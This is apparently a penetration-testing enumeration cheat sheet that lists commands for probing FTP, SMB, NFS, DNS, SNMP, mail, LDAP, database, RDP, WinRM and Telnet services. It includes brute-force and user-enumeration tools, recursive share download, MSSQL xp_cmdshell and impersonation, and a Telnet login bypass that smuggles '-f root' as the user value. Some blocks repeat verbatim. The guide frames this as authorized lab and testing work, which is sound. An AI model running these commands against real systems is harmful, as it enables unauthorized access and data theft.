Services

Anonymous access

Copy# Baseline: anonymous access
ftp TARGET

Then

Copy# Then
status
pwd
ls -la
binary
get FILE
quit

Decisive output: code 230 accepts the login; directory listings and successful RETR establish read access. Inspect downloaded backups, configuration, keys and source locally. Store target artifacts outside this public repository.

If login succeeds but listing/transfer fails, use the client's passive command to toggle data-channel mode and retry once before changing credentials.

Authenticated FTP

Copy# Variant — authenticated FTP
ftp TARGET

# Variant — curl listing, download and bounded write test
curl --list-only ftp://TARGET/
curl -o FILE ftp://TARGET/path/FILE
curl --user USER ftp://TARGET/
curl --user USER -o FILE ftp://TARGET/path/FILE
curl --user USER --upload-file ./probe.txt ftp://TARGET/path/probe.txt

# Variant — focused Nmap helpers
nmap -sV -p PORT --script ftp-anon,ftp-syst TARGET

Omit --user for anonymous access. Let curl prompt for an authenticated password instead of placing it in shell history. Upload only a harmless uniquely named probe when write validation is necessary and authorized; remove it through the FTP client after the test.

Failure cues: 530 means that login was rejected, not that FTP has no other usable identity. A listing failure after 230 may be a data-channel/passive-mode or authorization problem. A successful upload proves write access only; it does not prove that a web server, scheduled task or privileged process consumes that file.

List shares without credentials

Copy# Baseline: list shares without credentials
smbclient -N -L //TARGET

# Variant — authenticated share listing and connection
smbclient -L //TARGET -U 'DOMAIN/USER'
smbclient //TARGET/SHARE -U 'DOMAIN/USER'
smbclient -L //TARGET -U 'TARGET/USER'
smbclient -L //TARGET -U 'guest%'

Decisive output: a share list proves that this access context can enumerate names. It does not prove access to share contents. NT_STATUS_ACCESS_DENIED means this context was denied; repeat after obtaining a legitimate credential.

Inside the share

The first two forms use a domain identity, the third makes a local target account explicit, and the fourth tests a guest account with an empty password. Let the client prompt for non-empty passwords. Inside the share:

Copy# Inside the share
pwd
ls
allinfo FILE
get FILE
mkdir probe-dir
rmdir probe-dir
exit

Use a harmless uniquely named directory only when write permission must be verified. A successful create/remove establishes share-level write access, not code execution.

Recursive retrieval

Copy# Variant — recursive retrieval
smbclient //TARGET/SHARE -U 'DOMAIN/USER' -c 'recurse ON;prompt OFF;mget *'

# Variant — RPC null or authenticated session
rpcclient -U '' -N TARGET
rpcclient -U 'DOMAIN/USER' TARGET

Useful interactive queries

Copy# Useful interactive queries
srvinfo
enumdomains
enumdomusers
enumdomgroups
queryuser RID
netshareenumall
quit

Null-session denial is common on modern systems. Authenticated output must be labelled with the identity that produced it.

Fast permission summary and consolidated candidates

Copy# Variant — fast permission summary and consolidated candidates
nxc smb TARGET -u USER -p PASSWORD --shares
enum4linux-ng -A TARGET

# Variant — protocol, signing and time clues
nmap -p 139,445 --script smb-protocols,smb2-security-mode,smb2-time TARGET

Windows built-ins

Copy# Variant — Windows built-ins
net view \\TARGET /all
Get-ChildItem \\TARGET\SHARE
Get-Content \\TARGET\SHARE\FILE

These use the current Windows logon context unless alternate credentials or mappings are established. An existing connection to the same server under another identity can cause credential-conflict errors.

SMBMap — map rights, then read one useful file

Use from Kali when SMB is reachable. Choose the same domain/local identity that worked with smbclient. Suppress write probes when inventorying reads; this means a writable label is not being tested here.

Copy# SMBMap — map rights, then read one useful file
# Known domain account: enumerate share access without creating a probe file
smbmap -H TARGET -d DOMAIN -u USER -p 'PASSWORD' --no-write-check

# Inspect the selected share to a bounded depth
smbmap -H TARGET -d DOMAIN -u USER -p 'PASSWORD' -r 'SHARE' --depth 2 --no-write-check

# Download the specific file found above
smbmap -H TARGET -d DOMAIN -u USER -p 'PASSWORD' --download 'SHARE\PATH\FILE' --no-write-check

Read: a listed file must still be readable under this identity. A downloaded config/backup → classify its credential material, then test only the relevant account/service. A denied share → try another listed share or a newly obtained identity; do not infer a host-wide denial.

SMBMap — map rights, then read one useful file

Read: a listed file must still be readable under this identity. A downloaded config/backup → classify its credential material, then test only the relevant account/service. A denied share → try another listed share or a newly obtained identity; do not infer a host-wide denial.

Copy# SMBMap — map rights, then read one useful file
# No credentials: anonymous RPC/SMB candidates
enum4linux-ng -A TARGET

# Known identity: domain objects visible to this account
enum4linux-ng -A -w DOMAIN -u USER -p 'PASSWORD' TARGET

Next: validate returned users/groups/shares with rpcclient or smbclient. A collector can return partial data despite a successful login.

Failure cues: distinguish connection failure, authentication failure, share enumeration denial and file authorization denial. A share named IPC$ is not a general file share. Guest acceptance may look like success while returning a restricted namespace. A share marked writable still needs a consumer/trigger before it becomes an execution path.

Next action: inspect readable content, record per-share rights, validate names/domain clues, and re-run authenticated enumeration whenever identity changes. Move file-consumer hypotheses to web/execution/escalation and signing/relay hypotheses to the later credential/AD blocks.

NetBIOS names before SMB enumeration

Use when UDP/137 or SMB suggests Windows names but DNS/domain identity is unclear.

Copy# NetBIOS names before SMB enumeration
# Ask the assigned host for its NetBIOS names
nbtscan TARGET
nmblookup -A TARGET

Read: a machine name and group/domain label are leads. A workgroup label does not prove AD membership. Resolve the returned name and use the SMB/LDAP checks with the accepted identity. No reply can mean filtering or disabled NetBIOS while TCP/445 still works.

SMB/RPC RID lookups when a normal user listing is denied

Use when the accepted identity can translate SIDs but cannot list the directory directly. Keep the queried host/domain and a bounded RID range explicit.

Copy# SMB/RPC RID lookups when a normal user listing is denied
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --rid-brute 4000

List RPC services and exports

Copy# Baseline: list RPC services and exports
rpcinfo -p TARGET
showmount -e TARGET

# Variant — Nmap without mounting
nmap -sV -p 111,2049 --script nfs-showmount,nfs-ls,nfs-statfs TARGET

# Variant — mount read-only first
sudo mkdir -p /mnt/nfs-audit
sudo mount -t nfs -o ro,vers=3,nolock TARGET:/EXPORT /mnt/nfs-audit
find /mnt/nfs-audit -maxdepth 3 -ls
sudo umount /mnt/nfs-audit

# Variant — inspect numeric ownership
ls -lan /mnt/nfs-audit
find /mnt/nfs-audit -maxdepth 3 -type f -readable -ls

# Variant — bounded write verification
sudo mount -t nfs -o rw,vers=3,nolock TARGET:/EXPORT /mnt/nfs-audit
touch /mnt/nfs-audit/probe-file
ls -ln /mnt/nfs-audit/probe-file
rm /mnt/nfs-audit/probe-file
sudo umount /mnt/nfs-audit

# Rsync daemon — list modules before copying
nmap -sV -p 873 --script rsync-list-modules TARGET
rsync rsync://TARGET/
rsync --list-only rsync://TARGET/MODULE/

# Variant — retrieve a selected file or a reviewed module
# One selected artifact
rsync -av rsync://TARGET/MODULE/path/FILE ./FILE

# A reviewed module into a dedicated local evidence directory
mkdir -p ./rsync-MODULE
rsync -av --safe-links rsync://TARGET/MODULE/ ./rsync-MODULE/

Decisive output: rpcinfo maps RPC programs to versions/transports/ports. showmount -e returns exports and apparent allowed clients, but NFSv4-only servers may not expose the mount service and showmount completeness varies by implementation.

NFS commonly authorizes Unix identities by numeric UID/GID. A matching local username is irrelevant if its number differs. root_squash usually maps remote UID 0 to an unprivileged identity; no_root_squash is dangerous but still requires a useful writable object and privileged consumption path.

Use a unique harmless name only when write validation is needed and authorized. Record the resulting numeric owner/group. Success proves write in that directory, not execution or privileged ownership.

Decisive output: a named module and a file listing establish only that the current anonymous or supplied account can enumerate that namespace. Read access is proven by retrieving selected bytes, not by the module name.

Failure cues: no listed modules can mean the daemon hides its module list; @ERROR: auth failed is an authentication boundary; @ERROR: Unknown module is a namespace error; a listed module can still deny individual reads or writes.

Next action: inspect selected readable backups, keys, source and configuration locally. Treat a writable module as file placement only until a specific consumer, destination identity and trigger are proven. Do not use --delete against a remote module during enumeration.

TFTP — known-name retrieval only

Recognize: TFTP normally uses UDP/69 for the initial request and has no directory-listing or login model. It is useful only when configuration, source, boot metadata or another service gives a plausible filename.

Copy# TFTP — known-name retrieval only
tftp TARGET
tftp> binary
tftp> get FILE
tftp> quit

Decisive output: a completed transfer plus recognizable local bytes establishes read access to that exact name. A timeout is ambiguous because the UDP request, server policy, transfer port or filename can fail without a useful error.

Bounded write check only when the objective requires it

Copy# Variant — bounded write check only when the objective requires it
printf '%s\n' 'TFTP_WRITE_CANARY' > tftp-probe.txt

Bounded write check only when the objective requires it

Copy# Variant — bounded write check only when the objective requires it
tftp TARGET
tftp> binary
tftp> put tftp-probe.txt
tftp> quit

Use a unique harmless filename and only when write capability changes the next decision. TFTP normally offers no remote delete operation; do not create a probe unless you already have an authorized cleanup route.

Next action: inspect a retrieved artifact and follow only evidence-backed filenames. A successful upload is not execution; prove the server-side path and consumer separately.

Shell commands

Copy# Baseline
nmap -sV -p 873 --script rsync-list-modules TARGET
rsync rsync://TARGET/
rsync --list-only rsync://TARGET/MODULE/

# Variant — retrieve a selected file or a reviewed module
# One selected artifact
rsync -av rsync://TARGET/MODULE/path/FILE ./FILE

# A reviewed module into a dedicated local evidence directory
mkdir -p ./rsync-MODULE
rsync -av --safe-links rsync://TARGET/MODULE/ ./rsync-MODULE/

Decisive output: a named module and a file listing establish only that the current anonymous or supplied account can enumerate that namespace. Read access is proven by retrieving selected bytes, not by the module name.

Failure cues: no listed modules can mean the daemon hides its module list; @ERROR: auth failed is an authentication boundary; @ERROR: Unknown module is a namespace error; a listed module can still deny individual reads or writes.

Next action: inspect selected readable backups, keys, source and configuration locally. Treat a writable module as file placement only until a specific consumer, destination identity and trigger are proven. Do not use --delete against a remote module during enumeration.

Client commands / example output

Recognize: TFTP normally uses UDP/69 for the initial request and has no directory-listing or login model. It is useful only when configuration, source, boot metadata or another service gives a plausible filename.

Copy# Baseline
tftp TARGET
tftp> binary
tftp> get FILE
tftp> quit

Decisive output: a completed transfer plus recognizable local bytes establishes read access to that exact name. A timeout is ambiguous because the UDP request, server policy, transfer port or filename can fail without a useful error.

Bounded write check only when the objective requires it

Copy# Variant — bounded write check only when the objective requires it
printf '%s\n' 'TFTP_WRITE_CANARY' > tftp-probe.txt

Bounded write check only when the objective requires it

Copy# Variant — bounded write check only when the objective requires it
tftp TARGET
tftp> binary
tftp> put tftp-probe.txt
tftp> quit

Use a unique harmless filename and only when write capability changes the next decision. TFTP normally offers no remote delete operation; do not create a probe unless you already have an authorized cleanup route.

Next action: inspect a retrieved artifact and follow only evidence-backed filenames. A successful upload is not execution; prove the server-side path and consumer separately.

Validate one known identity

Recognize: SSH commonly uses TCP/22. Prerequisite for access: an accepted authentication method plus a permitted account/session context.

Copy# Baseline: validate one known identity
ssh -v -p PORT USER@TARGET

# Variant — private key
chmod 600 KEY
ssh -v -i KEY -p PORT USER@TARGET

# Variant — discover methods for a known username
nmap -p PORT --script ssh-auth-methods --script-args "ssh.user=USER" TARGET

# Variant — non-interactive key check
ssh -o BatchMode=yes -o ConnectTimeout=5 -i KEY -p PORT USER@TARGET 'id'

Decisive output: the debug trace separates connection, host-key negotiation, offered authentication methods and account acceptance. A shell prompt establishes session access as that identity.

The key must correspond to an authorized public key for that account. Permission denied (publickey) can mean wrong user, wrong key, server policy or account restrictions.

This starts an authentication exchange and is logged; Nmap classifies it as intrusive. Use it only when the supported methods change the next decision.

Batch mode will not prompt for passwords or key passphrases. It is useful only when the key is already usable non-interactively.

Failure cues: timeout suggests route/filtering/service issues; refusal means no accepting listener in that context; host-key failure occurs before user authentication; Permission denied proves that the attempted method/context failed, not that every credential is invalid. A valid account may still have no shell or be restricted by server policy.

Query the target DNS server directly

Recognize: DNS uses UDP/53 for most queries and TCP/53 for operations including conventional zone transfers and oversized responses. Prerequisite: a known or inferred domain for meaningful record and name enumeration.

Copy# Baseline: query the target DNS server directly
dig @TARGET DOMAIN SOA
dig @TARGET DOMAIN NS
dig @TARGET DOMAIN A
dig @TARGET DOMAIN MX
dig @TARGET DOMAIN TXT

# Variant — reverse lookup and zone transfer
dig @TARGET -x IP
dig @TARGET DOMAIN AXFR

# Variant — name guessing after the domain is known
dnsrecon -d DOMAIN -n TARGET -t std
dnsrecon -d DOMAIN -n TARGET -D WORDLIST -t brt
dnsenum --dnsserver TARGET DOMAIN

# Variant — reverse sweep of an explicitly assigned range
dnsrecon -r SUBNET -n TARGET

# Variant — host and Windows nslookup
host -t mx DOMAIN TARGET
host -t txt DOMAIN TARGET

Decisive output: ANSWER records disclose names, addresses, mail exchangers or text. The aa flag supports an authoritative answer. Record status separately from the answer count.

A successful AXFR returns the zone records and closing SOA. Transfer failed, REFUSED or NOTAUTH only disproves an unauthenticated transfer from this source; continue ordinary queries.

Check wildcard behavior before trusting large result sets. Every resolved in-scope name becomes a new discovery/service-enumeration input.

Use this only when the entire SUBNET is assigned. PTR names are clues; resolve/scan only in-scope results.

Host and Windows nslookup

Copy# Variant — host and Windows nslookup
nslookup HOST.DOMAIN TARGET
nslookup -type=TXT HOST.DOMAIN TARGET
nslookup -type=MX DOMAIN TARGET

Find a read community, then walk

Copy# Baseline: find a read community, then walk
onesixtyone -c COMMUNITY_FILE TARGET
snmpwalk -v2c -c COMMUNITY TARGET 1.3.6.1.2.1

# Variant — efficient v2c bulk walk
snmpbulkwalk -v2c -c COMMUNITY TARGET 1.3.6.1.2.1

# Variant — high-value Windows OIDs
snmpwalk -v1 -c COMMUNITY TARGET 1.3.6.1.4.1.77.1.2.25
snmpwalk -v1 -c COMMUNITY TARGET 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -v1 -c COMMUNITY TARGET 1.3.6.1.2.1.25.6.3.1.2
snmpwalk -v1 -c COMMUNITY TARGET 1.3.6.1.2.1.6.13.1.3

# Variant — SNMPv3 authenticated and private walk
snmpwalk -v3 -l authPriv -u USER -a SHA -A AUTH_PASSWORD -x AES -X PRIV_PASSWORD TARGET 1.3.6.1.2.1

# Variant — focused UDP verification
sudo nmap -sU -sV -p 161 --script snmp-info TARGET

Decisive output: returned OID/value pairs prove that the selected version/community can read those objects. Hostnames, interfaces, routes, users, processes and locally listening ports become new hypotheses to validate through the appropriate service or post-access path.

Use -v1 instead when version 1 is indicated. Start with the standard system tree before a huge full walk.

Bulk requests reduce round trips but require SNMPv2c or later. If the agent rejects them, fall back to snmpwalk with the verified version.

The security level, authentication algorithm, privacy algorithm and credentials must match the configured SNMPv3 user. authNoPriv authenticates without encryption; noAuthNoPriv supplies neither and should be used only when that exact configuration is observed.

Banner and capabilities

Recognize: SMTP commonly uses TCP/25, submission uses 587, and implicit TLS commonly uses 465. Goal: collect banner/capabilities, mail-domain clues and only defensible user evidence.

Copy# Baseline: banner and capabilities
nc -nv TARGET PORT

Then enter

Copy# Then enter
EHLO example.invalid
HELP
VRFY USER
EXPN postmaster
QUIT

Decisive output: 250- capability lines reveal extensions such as STARTTLS or AUTH. 250 after VRFY may support a valid mailbox; 550 commonly rejects or denies it; 252 explicitly means the server will not verify and is not proof that the user exists.

STARTTLS or implicit TLS

Copy# Variant — STARTTLS or implicit TLS
openssl s_client -connect TARGET:587 -starttls smtp -crlf -quiet
openssl s_client -connect TARGET:465 -crlf -quiet

# Variant — focused automated user checks
smtp-user-enum -M VRFY -U users.txt -t TARGET -p PORT
smtp-user-enum -M RCPT -U users.txt -t TARGET -p PORT

Run EHLO example.invalid after TLS negotiation. Certificate names and capabilities can yield host/domain clues; authentication still requires a supported identity and mechanism.

RCPT testing requires an SMTP transaction and servers may deliberately normalize responses. Treat automation as candidate generation and manually compare decisive responses.

Windows source position

Copy# Variant — Windows source position
Test-NetConnection -ComputerName TARGET -Port PORT

This verifies TCP reachability only. Use an available Netcat/Ncat or OpenSSL client for protocol dialogue.

Next action: add confirmed/candidate names and domains to the private evidence ledger; test new names only in the later credential block. Do not send real mail or run relay checks unless the objective requires it.

POP3 and IMAP handoff

Copy# POP3 and IMAP handoff
openssl s_client -connect TARGET:995 -crlf -quiet   # POP3S
openssl s_client -connect TARGET:993 -crlf -quiet   # IMAPS

POP3 dialogue

Copy# POP3 dialogue
CAPA
USER USER
PASS PASSWORD
STAT
LIST
QUIT

# IMAP dialogue
a1 CAPABILITY
a2 LOGIN USER PASSWORD
a3 LIST "" "*"
a4 LOGOUT

Discover naming contexts

Prerequisite: LDAP reachability. Coverage: RootDSE only; this can work even when directory searches require authentication. Decisive output: defaultNamingContext and dnsHostName.

Copy# Baseline: discover naming contexts
ldapsearch -x -LLL -H ldap://TARGET:389 -s base -b '' \
  defaultNamingContext rootDomainNamingContext configurationNamingContext dnsHostName

# LDAPS and certificate-name inspection
openssl s_client -connect TARGET:636 -servername DC_HOST </dev/null
ldapsearch -x -LLL -H ldaps://DC_HOST:636 -s base -b '' defaultNamingContext dnsHostName

Anonymous directory search

Prerequisite: known base DN and server permitting anonymous search. Failure cue: Inappropriate authentication or Insufficient access closes only the anonymous path.

Copy# Anonymous directory search
ldapsearch -x -LLL -H ldap://DC_IP:389 -b 'DC=DOMAIN,DC=TLD' \
  '(&(objectCategory=person)(objectClass=user))' \
  sAMAccountName userPrincipalName memberOf description

# Anonymous directory search
ldapsearch -x -LLL -H ldap://DC_IP:389 -b 'DC=DOMAIN,DC=TLD' \
  '(objectClass=group)' cn member description

Authenticated search

Prerequisite: a valid directory identity. Decisive output: objects/attributes unavailable anonymously. Avoid placing a real password in shell history when an interactive prompt is available.

Copy# Authenticated search
ldapsearch -x -LLL -H ldap://DC_HOST:389 \
  -D 'USER@DOMAIN.TLD' -W -b 'DC=DOMAIN,DC=TLD' \
  '(&(objectCategory=person)(objectClass=user))' \
  sAMAccountName userPrincipalName memberOf description servicePrincipalName userAccountControl

# Search computers, groups and SPN-bearing accounts separately
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN.TLD' -W \
  -b 'DC=DOMAIN,DC=TLD' '(objectClass=computer)' \
  dNSHostName operatingSystem operatingSystemVersion servicePrincipalName

ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN.TLD' -W \
  -b 'DC=DOMAIN,DC=TLD' '(objectClass=group)' cn member

ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN.TLD' -W \
  -b 'DC=DOMAIN,DC=TLD' '(&(objectCategory=person)(servicePrincipalName=*))' \
  sAMAccountName servicePrincipalName memberOf

# Establish
getent hosts DC_HOST
nc -nvz DC_IP 88
date -u
nmap -Pn -sV -p 88,389,445,464,636,3268,3269 DC_IP -oN dc-services.txt

Interpretation: resolve DOMAIN and DC_HOST consistently, keep clock skew within Kerberos tolerance, and ensure the KDC is reached through the selected route. KDC_ERR_C_PRINCIPAL_UNKNOWN points to identity/domain naming; KRB_AP_ERR_SKEW points to time; KDC_ERR_PREAUTH_FAILED normally points to authentication material.

Interpretation: resolve DOMAIN and DC_HOST consistently, keep clock skew within Kerberos tolerance, and ensure the KDC is reached through the selected route. KDC_ERR_C_PRINCIPAL_UNKNOWN points to identity/domain naming; KRB_AP_ERR_SKEW points to time; KDC_ERR_PREAUTH_FAILED normally points to authentication material.

• New users, groups, computers, SPNs or domain names → domain mapping.
• A user confirmed without preauthentication → Kerberos and identity transitions.
• Valid credentials → rerun authenticated LDAP plus SMB/share/remote-access enumeration.
• Certificate templates/AD CS clues → AD CS and object-control abuse.

Shell commands

Copy# Baseline
mysql -h TARGET -P PORT -u USER -p

SQL commands

Copy-- Baseline
SELECT VERSION(), USER(), CURRENT_USER();
SHOW DATABASES;
SHOW GRANTS;
USE DATABASE;
SHOW TABLES;
DESCRIBE TABLE;
SELECT * FROM TABLE LIMIT 20;
SELECT @@secure_file_priv;

-- MySQL variant — validate server-side file read/write prerequisites
SELECT LOAD_FILE('/path/on/database/server');
SELECT 'probe' INTO OUTFILE '/allowed/server/path/probe.txt';

Interpret: USER() shows the presented client identity; CURRENT_USER() shows the account used for privilege checking. secure_file_priv restricts server-side import/export: a directory constrains it, an empty value is unrestricted by that variable, and NULL disables these operations. The FILE privilege is still required.

Use only an authorized harmless path. LOAD_FILE returning NULL is ambiguous among missing file, permissions, size, FILE privilege and secure_file_priv. INTO OUTFILE will not overwrite an existing file. A written file becomes execution only if another privileged component consumes it.

Shell commands

Copy# Baseline
impacket-mssqlclient 'USER@TARGET'
impacket-mssqlclient 'DOMAIN/USER@TARGET' -windows-auth

At the SQL prompt

Copy-- At the SQL prompt
SELECT @@VERSION;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT name FROM sys.databases;
USE DATABASE;
SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;
SELECT TOP 20 * FROM SCHEMA.TABLE;

-- MSSQL variant — command-execution boundary
EXEC xp_cmdshell 'whoami';

-- MSSQL linked-server and login-context mapping
SELECT SYSTEM_USER AS current_login,
       ORIGINAL_LOGIN() AS original_login,
       SUSER_SNAME() AS effective_login,
       IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;

SELECT name, product, provider, data_source, is_linked
FROM sys.servers
WHERE is_linked = 1;

EXEC master.dbo.sp_helplinkedsrvlogin;

-- MSSQL linked-server and login-context mapping
EXEC ('SELECT SYSTEM_USER AS remote_login,
              ORIGINAL_LOGIN() AS remote_original_login,
              IS_SRVROLEMEMBER(''sysadmin'') AS remote_is_sysadmin')
AT [LINKED_SERVER];

xp_cmdshell is disabled by default on new installations. Enabling it generally requires high privilege and changes server configuration; do not enable it merely to enumerate. When available, a sysadmin's child process normally runs as the SQL Server service account; an authorized non-sysadmin may use a configured proxy. Verify returned identity before choosing the next action.

MSSQL linked-server and login-context mapping

If RPC execution is disabled but data access is allowed, use a read-only pass-through query instead:

Copy-- MSSQL linked-server and login-context mapping
SELECT *
FROM OPENQUERY([LINKED_SERVER],
  'SELECT SYSTEM_USER AS remote_login,
          ORIGINAL_LOGIN() AS remote_original_login');

MSSQL linked-server and login-context mapping

Decide: a returned remote identity enables only the operations granted to that mapped login. RPC OUT is disabled, login-mapping failures and data-access failures rule out different mechanisms; they do not prove the server is unreachable. If enum_impersonate identifies a specific permitted login, test only that login and always return to the original context:

Copy-- MSSQL linked-server and login-context mapping
EXECUTE AS LOGIN = 'LOGIN';
SELECT SYSTEM_USER, ORIGINAL_LOGIN(), SUSER_SNAME(), IS_SRVROLEMEMBER('sysadmin');
REVERT;

Do not enable RPC, create mappings or change server configuration merely to enumerate. A remote SQL query is not OS execution; independently validate any file or command facility and the operating-system identity behind it.

Shell commands

Copy# Baseline
psql -h TARGET -p PORT -U USER -d postgres

Client commands / example output

Copy# Baseline
\conninfo
\l
\du
\dn
\dt *.*

SQL commands

Copy-- Baseline
SELECT version(), current_user, session_user;
SELECT rolname, rolsuper, rolcreaterole, rolcreatedb
FROM pg_roles;

-- PostgreSQL variant — server file/program privilege boundary
SELECT pg_has_role(current_user, 'pg_read_server_files', 'member');
SELECT pg_has_role(current_user, 'pg_write_server_files', 'member');
SELECT pg_has_role(current_user, 'pg_execute_server_program', 'member');

Server-side COPY ... FROM/TO 'file' uses the PostgreSQL server's filesystem and service identity. COPY ... PROGRAM executes on the server and requires superuser or the corresponding predefined role. Client-side \copy reads/writes the client filesystem and is not the same primitive.

Failure cues: connection refusal/timeout is network or listener context; login rejection is authentication/context; an empty database list may be visibility limits; object denial is authorization. Query only bounded rows first. Never assume that reading application credentials or obtaining database admin implies OS execution.

Next action: identify application accounts, hashes/credentials, paths and linked systems; record the precise grant enabling any file or execution primitive; validate recovered credentials in the later credential block and re-enumerate after any identity change.

Shell commands

Copy# Baseline
nmap -Pn -sV --script redis-info -p PORT TARGET
redis-cli -h TARGET -p PORT PING
redis-cli -h TARGET -p PORT INFO
redis-cli -h TARGET -p PORT ACL WHOAMI
redis-cli -h TARGET -p PORT ACL LIST

# Authenticated when a password is legitimately known
redis-cli -h TARGET -p PORT --askpass

PONG proves an accessible Redis command surface, not write/file/execution permission. Check ACLs, mode, bind/protected-mode and persistence/module configuration before reasoning about an effect. Do not run CONFIG SET, write keys or load modules during enumeration.

Shell commands

Copy# Baseline
nmap -Pn -sV --script oracle-tns-version -p 1521 TARGET
nmap -Pn --script oracle-sid-brute -p 1521 TARGET

A discovered SID/service name is a namespace clue, not credentials. Continue with an installed Oracle client only when a legitimate identity is available; preserve listener/version/SID evidence and do not treat a conventional port as Oracle proof. Source supplement: reviewed getSH Nmap Oracle block.

RDP baseline: authentication-only check

Copy# RDP baseline: authentication-only check
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /auth-only /cert:ignore

# Variant — open an RDP desktop
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /dynamic-resolution /cert:ignore

# Variant — identify RDP security requirements
nmap -p 3389 --script rdp-enum-encryption,rdp-ntlm-info TARGET

Decisive output: successful authentication-only validation supports that the credential is accepted for RDP/NLA. It does not prove an interactive desktop will be granted under every policy/session condition.

Let FreeRDP prompt for the password. /cert:ignore suppresses certificate validation and is suitable only in the controlled lab context; it removes server-identity protection.

1. Listener, service and configured port

Use this read-only sequence after obtaining an authorized local administrative session on the destination, or when the exercise explicitly supplies equivalent remote-management access. It answers four different questions: is RDP enabled, is a listener actually present, what security layer/NLA policy applies, and does the candidate identity have an effective remote-interactive logon right? Do not change registry values or policy merely to make a credential work.

Copy# 1. Listener, service and configured port
Get-Service TermService
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
qwinsta

1. Listener, service and configured port

CopyREM 1. Listener, service and configured port
netstat -ano | findstr LISTENING | findstr ":3389"

REM 2. NLA, transport security and policy precedence
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v MinEncryptionLevel

reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v UserAuthentication
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v SecurityLayer

REM 2. NLA, transport security and policy precedence
gpresult /scope computer /v

REM 3. Candidate membership and effective logon rights
net localgroup "Remote Desktop Users"
whoami /groups

Read: fDenyTSConnections = 0 permits RDP at the local setting; 1 denies new RDP connections. PortNumber is displayed as a registry DWORD, commonly hexadecimal 0xD3D for 3389. A running TermService plus an RDP-Tcp listener in qwinsta and a listening socket establishes host-side listener state. A missing :3389 socket is not decisive if PortNumber is nondefault. Policy can override the local value, so inspect resultant policy before treating this as effective configuration.

Read: UserAuthentication = 1 requires Network Level Authentication. For SecurityLayer, 0 is native RDP security, 1 negotiates, and 2 requires TLS. MinEncryptionLevel further constrains client compatibility. A missing policy value means “not configured at this policy path,” not that the feature is absent. Use gpresult to identify the winning computer policy when local and policy-backed values conflict or revert after refresh. These settings explain negotiation failures; they do not grant a user logon rights.

3. Candidate membership and effective logon rights

From an elevated PowerShell or Command Prompt, export the currently applied user-right assignments and inspect only the RDP entries:

Copy# 3. Candidate membership and effective logon rights
$policy = Join-Path $env:TEMP 'rdp-user-rights.inf'
secedit /export /mergedpolicy /areas user_rights /cfg $policy /quiet
Select-String -Path $policy -Pattern '^SeRemoteInteractiveLogonRight','^SeDenyRemoteInteractiveLogonRight'

Read: the candidate must be covered by SeRemoteInteractiveLogonRight; membership in local Administrators or Remote Desktop Users commonly supplies that right, but the actual applied policy is decisive. SeDenyRemoteInteractiveLogonRight overrides the allow right. Exported entries can be names or SIDs, so resolve unfamiliar SIDs before deciding. whoami /groups proves only the current process token; use it for the candidate only when you are actually running in that candidate's context. A group listing alone does not prove an effective right when domain policy or nested membership changes the result.

4. Source-relative validation and decision

Copy# 4. Source-relative validation and decision
nmap -Pn -n -p 3389 --reason TARGET
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /auth-only /cert:ignore

# WinRM baseline: interactive session
evil-winrm -i TARGET -u USER

# WinRM baseline: interactive session
evil-winrm -i TARGET -u 'DOMAIN\\USER'

# Variant — WinRM over HTTPS
evil-winrm -i TARGET -u USER -S -P 5986

Ready for an interactive attempt: the actual source reaches the configured RDP port; the listener is enabled; the client can meet the NLA/security requirements; the credential is accepted in the intended local/domain context; and the identity has the effective allow right without an applicable deny right. Ruled out in this context: a decisive required condition is absent, such as an effective deny assignment or no listener on the configured port. Inconclusive: access to policy data is denied, group/SID expansion is unresolved, GPO precedence is unclear, or network filtering prevents source-relative validation. Do not turn an inconclusive result into “bad password” or “RDP disabled.”

Decisive output: an interactive PowerShell prompt establishes WinRM authorization. Immediately verify identity and host context with whoami, hostname and Get-NetIPAddress.

Windows PowerShell remoting

Copy# Variant — Windows PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred

Next action: after a session, re-enumerate identity, groups, privileges, files, local services/listeners and routes. Password spraying, pass-the-hash and ticket use belong to later credential/AD blocks.

VNC

Copy# VNC
nmap -Pn -sV --script vnc-info -p PORT TARGET
vncviewer TARGET:PORT

# Telnet
nmap -Pn -sV -p PORT TARGET
nc -nv TARGET PORT
telnet TARGET PORT

VNC may expose a desktop without Windows logon semantics; the VNC server's authentication and the resulting OS session identity are separate. Use realvnc-auth-bypass or password testing only for a confirmed compatible product and explicit authorized objective, then verify the desktop identity.

Telnet is plaintext and may expose a banner/login prompt. Validate only legitimately acquired credentials; do not make telnet-brute a baseline. After login, verify host and identity because appliance/application shells can differ from an OS shell. Source supplement: reviewed getSH Nmap VNC/Telnet blocks.

GNU Inetutils telnetd — conditional authentication-bypass check

Use only after identifying the affected GNU Inetutils telnetd/login chain and its patch status. CVE-2026-24061 concerns how a supplied USER value reaches login; it does not apply to every Telnet server. Distribution backports matter.

Copy# GNU Inetutils telnetd — conditional authentication-bypass check
# Client supports sending the autologin USER environment value
USER='-f root' telnet -a TARGET PORT

